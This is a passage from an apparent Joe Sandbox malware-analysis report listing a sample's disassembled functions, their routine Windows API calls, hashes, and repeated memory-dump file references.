Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: Heap$FreeProcess$Value
String ID:
API String ID: 3709577838-0
Opcode ID: bca5198a5640a1c7ca109c47dea20c8c6da601750a40f3102d1dcf99ef24ee25
Instruction ID: 238a831ff15866fa79a2ab302de81af5867a5544d269b3228ad3d1cd2a47fdc6
Opcode Fuzzy Hash: bca5198a5640a1c7ca109c47dea20c8c6da601750a40f3102d1dcf99ef24ee25
Instruction Fuzzy Hash: 3E41C0716053009FDB50CF6ADAC4B16B7B8FF45729F104669F9259BE80E730E804CBA1

Function 6C80D490 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_xtime_get.LIBCPMT ref: 6C80D513
__Xtime_diff_to_millis2.LIBCPMT ref: 6C80D522

Strings

<, xrefs: 6C80D4D7

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: <
API String ID: 531285432-4251816714
Opcode ID: a45b4e5132f33d04fd2c47fe84b95b4b018acd37d78da1fefd97d7528b6cbd6b
Instruction ID: b65cfc761aaae76f989c31bed39b61be0eba7eb4467c4e725a2f2b1dd6715b25
Opcode Fuzzy Hash: a45b4e5132f33d04fd2c47fe84b95b4b018acd37d78da1fefd97d7528b6cbd6b
Instruction Fuzzy Hash: CF117FB19087449BD710DB64C844BDAB7E8BF4931CF008E2EE59997690E735E148CB52

Function 6C8ECF70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(Kernel32.dll,SetProcessDEPPolicy), ref: 6C8ECF7A
GetProcAddress.KERNEL32(00000000), ref: 6C8ECF81

Strings

SetProcessDEPPolicy, xrefs: 6C8ECF70
Kernel32.dll, xrefs: 6C8ECF75

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Kernel32.dll$SetProcessDEPPolicy
API String ID: 1646373207-3431537735
Opcode ID: db0b9ce5706c1e198bf01f59035a2f7b185094f10f40f082fceec1b8c93a6ba6
Instruction ID: 9475f6a4486fcb98534510c9a3955c6da320817973490d591418d26b3958b834
Opcode Fuzzy Hash: db0b9ce5706c1e198bf01f59035a2f7b185094f10f40f082fceec1b8c93a6ba6
Instruction Fuzzy Hash: 2ED09E78605200AFDB409FA0C944B097AF4AF8A701F604844B529C7640CBB4D905EA11

Function 6CA6DC60 Relevance: 6.3, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6D00ABE4,6D00ABB0,00000000,6D00ABE4,?,00000000), ref: 6CA6DC6F
LeaveCriticalSection.KERNEL32(6D00ABE4,?,?,00000000), ref: 6CA6DCB6
LeaveCriticalSection.KERNEL32(6D00ABE4,?,?,00000000), ref: 6CA6DCC9
LeaveCriticalSection.KERNEL32(6D00ABE4,?,00000000), ref: 6CA6DCEA

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: 37a9ad072d227c40d88332fdfdbb52c9736360dd035dbced2d8d366365873b6e
Instruction ID: a85553d4fd6e6de3f41f466681146a1d30c174a7d8c5c03c3c47aeeae2446782
Opcode Fuzzy Hash: 37a9ad072d227c40d88332fdfdbb52c9736360dd035dbced2d8d366365873b6e
Instruction Fuzzy Hash: B821C376B006048BC7109F6AE844956F3F9FBC9236755036AEA1AC3A40D731F859CBE0

Function 6C8A2ED0 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

_com_issue_errorex.COMSUPP ref: 6C8A2F41
_com_issue_errorex.COMSUPP ref: 6C8A2F71
_com_issue_errorex.COMSUPP ref: 6C8A2FE2
_com_issue_errorex.COMSUPP ref: 6C8A3012

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: _com_issue_errorex
String ID:
API String ID: 79918163-0
Opcode ID: dff01f0b843afd706c4cf4fe74715c0577e237daaf12a0e2548e98fb9b61092a
Instruction ID: cc09075cd2a7a8b12bfe85952e8d634936cf4ffe8f721bdda095f7c2ea0d8dd8
Opcode Fuzzy Hash: dff01f0b843afd706c4cf4fe74715c0577e237daaf12a0e2548e98fb9b61092a
Instruction Fuzzy Hash: 13419D70604701AFD7319FA2CA48F5BB7B8EF44B18F20491DE45AA7A50E778A905CBA1

Function 6CA66920 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 6CA66967

Part of subcall function 6CC04D55: GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,6C8E5FCA,00000000,00000000,6C8E6655,?,?,00000000,?,00000000), ref: 6CC04D5E
Part of subcall function 6CC04D55: __aulldiv.LIBCMT ref: 6CC04D7E

Part of subcall function 6CA663E0: HeapCreate.KERNEL32(00000005,00000000,00000000,00000000,?,6CA669A5), ref: 6CA663F1
Part of subcall function 6CA663E0: HeapAlloc.KERNEL32(00000000,00000008,00000648,00000000,?,6CA669A5), ref: 6CA66404
Part of subcall function 6CA663E0: CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000001,?,6CA669A5), ref: 6CA66418
Part of subcall function 6CA663E0: HeapFree.KERNEL32(00000000,00000000,?,6CA669A5), ref: 6CA6642C

_free.LIBCMT ref: 6CA669C5
_free.LIBCMT ref: 6CA669CD
_free.LIBCMT ref: 6CA669D3

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: Heap_free$CreateTime$AllocCompletionFileFreePortSystem__aulldiv__time64
String ID:
API String ID: 965951783-0
Opcode ID: 248392a1f7630ccdaf3f9b0f50551526e4ca181af2277c33526712dfffcd10ec
Instruction ID: ba1458ff3a8cf1d86880e87b87afbea2e2382aef0f37a54304d71ab515e53bf6
Opcode Fuzzy Hash: 248392a1f7630ccdaf3f9b0f50551526e4ca181af2277c33526712dfffcd10ec
Instruction Fuzzy Hash: 051170B1701A02ABD3419F6AE850746BAB0BF8031CF148325D424CBFD4EB76D5AD8BD1

Function 6C8E75A0 Relevance: 6.0, APIs: 4, Instructions: 37windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000001), ref: 6C8E75B6
DispatchMessageA.USER32(?), ref: 6C8E75D5
TranslateMessage.USER32(?), ref: 6C8E75DC
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000001), ref: 6C8E75EB

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: bed5ba2ee096a71d9281e2501835952d3d76c3f416895fec8d0b8e3742590fd1
Instruction ID: e85ad7b0aa336e3f8f18ab9d761c1e6beed7e442fdb32189a7b701217d05c05b
Opcode Fuzzy Hash: bed5ba2ee096a71d9281e2501835952d3d76c3f416895fec8d0b8e3742590fd1
Instruction Fuzzy Hash: 86F089717443057AED10DB54DD85F86B7BCAF85754F500411F754EB0C1E6B4E1058775

Function 6C80D7E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

Strings

Thread, xrefs: 6C80D96E
Time, xrefs: 6C80D8B5

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity
